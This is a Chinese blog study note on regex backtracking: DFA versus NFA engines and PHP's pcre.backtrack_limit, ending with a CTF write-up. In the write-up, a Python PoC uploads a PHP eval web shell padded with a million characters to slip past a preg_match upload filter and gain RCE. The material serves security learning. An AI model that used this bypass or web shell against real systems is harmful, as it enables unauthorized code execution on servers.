Hed9eh0g

前进的路上总是孤独的

正则回溯学习记录

本文共计有3002个字

前言

最近学习了php正则回溯安全问题,结合网上的文章,在此记录一下。

正则引擎

正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机),NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。

目前使用DFA引擎的程序主要有:

awk,egrep,flex,lex,MySQL,Procmail

使用传统型NFA引擎的程序主要有:

GNU Emacs,Java,ergp,less,more,.NET,,PCRE library,Perl,PHP,Python,Ruby,sed,vi

DFA在线性时状态下执行,不要求回溯,并且其从匹配文本入手,从左到右,每个字符不会匹配两次,所以通常情况下,它的速度更快,但支持的特性很少,不支持捕获组、各种引用。

NFA则是从正则表达式入手,并且不断读入字符,尝试是否匹配当前正则,不匹配则吐出字符重新尝试,在最坏情况下,它的执行速度可能非常慢,但NFA支持更多的特性,因而绝大多数编程场景下,比如 PHP、Java,python 等,使用的都是NFA。

例子

1、对于 DFA 举例如下:

引擎在扫码当前文本的时候,会记录当前有效的所有匹配可能。当引擎移动到文本的 t 时,它会在当前处理的匹配可能中添加一个潜在的可能:

《正则回溯学习记录》

接下来扫描的每个字符,都会更新当前的可能匹配序列。例如扫码到匹配文本的 J 时,有效的可能匹配变成了2个,Rose被淘汰出局。
《正则回溯学习记录》

扫描到匹配文本的 e 时,Jack也被淘汰出局,此时就只剩一个可能的匹配了。当完成后续的rry的匹配时,整个匹配完成。
《正则回溯学习记录》

2、对于 NFA 举例如下:
在解析器眼中w文本DEF有如下对应的数字位置:
《正则回溯学习记录》
对于正则表达式而言所有源字符串,都有字符和位置,且正则表达式会从0号位置逐个去匹配。
我们令匹配成功为“取得控制权”;
当正则为DEF时,过程如下:
首先由正则表达式字符D取得控制权,从位置0开始匹配,由D来匹配D,匹配成功,控制权交给字符E;由于D已被D匹配,所以E从位置1开始尝试匹配,由E来匹配E,匹配成功,控制权交给F;由F来匹配F,匹配成功。

当正则为/D\w+F/时,过程如下:
首先由正则表达式字符/D/ 取得控制权,从位置0开始匹配,由/D/来匹配D,匹配成功,控制权交给字符/\w+/;由于D已被/D/匹配,所以/\w+/从位置1开始尝试匹配,\w+贪婪模式,会记录一个备选状态,默认会匹配最长字符,直接匹配到EF,并且匹配成功,当前位置为3。并且把控制权交给/F/;由/F/匹配失败,\w+匹配会回溯一位,当前位置变成2。并把控制权交给/F/,由/F/匹配字符F成功。

由上面可以知道,对于 DFA 而言,不管正则表达式怎么样,文本的匹配过程是一致的,都是对文本的字符依次从左到右进行匹配,NFA 对于不同但效果相同的正则表达式,匹配过程是完全不同的。

回溯

回到正题,现在来谈回溯。
假设字符串及其位置如下:
《正则回溯学习记录》
与上文相同,令匹配成功为“取得控制权”,如果正则表达式为: /.*?b/
那么匹配过程如下:.*?首先取得控制权, 假设该匹配为非贪婪模式, 所以优先不匹配, 将控制权交给下一个匹配字符bb在源字符串位置1匹配失败a, 于是回溯, 将控制权交回给.*?,这个时候, .*?匹配一个字符a,并再次将控制权交给b,这样一个过程,被称之为回溯, 如此反复,最终得到匹配结果, 这个过程中一共发生了3次回溯。

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限,默认的上限backtarck_limit是1000000。

可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?比如:
我们定义一个正则:/UNION.+?SELECT/is

同时要检测的文本如下:UNION/*abc*/SELECT

流程大致如下,

首先匹配到UNION
.+?匹配到/
非贪婪模式,.+?停止向后匹配,由S匹配*
S匹配*失败,第一次回溯,再由.+?匹配*
非贪婪模式,.+?停止向后匹配,再由S匹配a
S匹配a失败,第二次回溯,再由.+?匹配a
非贪婪模式,.+?停止向后匹配,再由S匹配b
S匹配b失败,第三次回溯,再由.+?匹配b
非贪婪模式,.+?停止向后匹配,再由S匹配c
S匹配c失败,第四次回溯,再由.+?匹配c
非贪婪模式,.+?停止向后匹配,再由S匹配*
S匹配*失败,第五次回溯,再由.+?匹配*
非贪婪模式,.+?停止向后匹配,再由S匹配/
S匹配/失败,第六次回溯,再由.+?匹配/
非贪婪模式,.+?停止向后匹配,再由S匹配S
S匹配S匹配成功,继续向后,直至SELECT匹配SELECT成功

从上面可以看出,回溯的次数是我们可以控制的,当我们在/**/之间写入的内容越多,那么回溯的次数也就越多,假定我们传入的字符串很多,导致回溯次数超过了pcre.backtrack_limit的限制,那么就可能绕过这个正则表达式,从而导致绕过 waf 之类的限制。

具体例子

这里以code-breaking上面的一道题做为例子:

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

上传文件,使用正则判断是否含有 php 代码,正则 /i 不区分大小写,/s 匹配任何不可见字符,包括空格,TAB,换行。

如果不含有 php 代码,上传的文件会被保存,并在 http 中重定向到文件路径。

根据刚才的分析可知,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

poc如下:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://hed9eh0g.top:32775/', files=files, allow_redirects=False)
print(res.headers)

最终可以实现RCE:
《正则回溯学习记录》

参考文章

1、https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
2、https://www.cnpanda.net/codeaudit/660.html

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注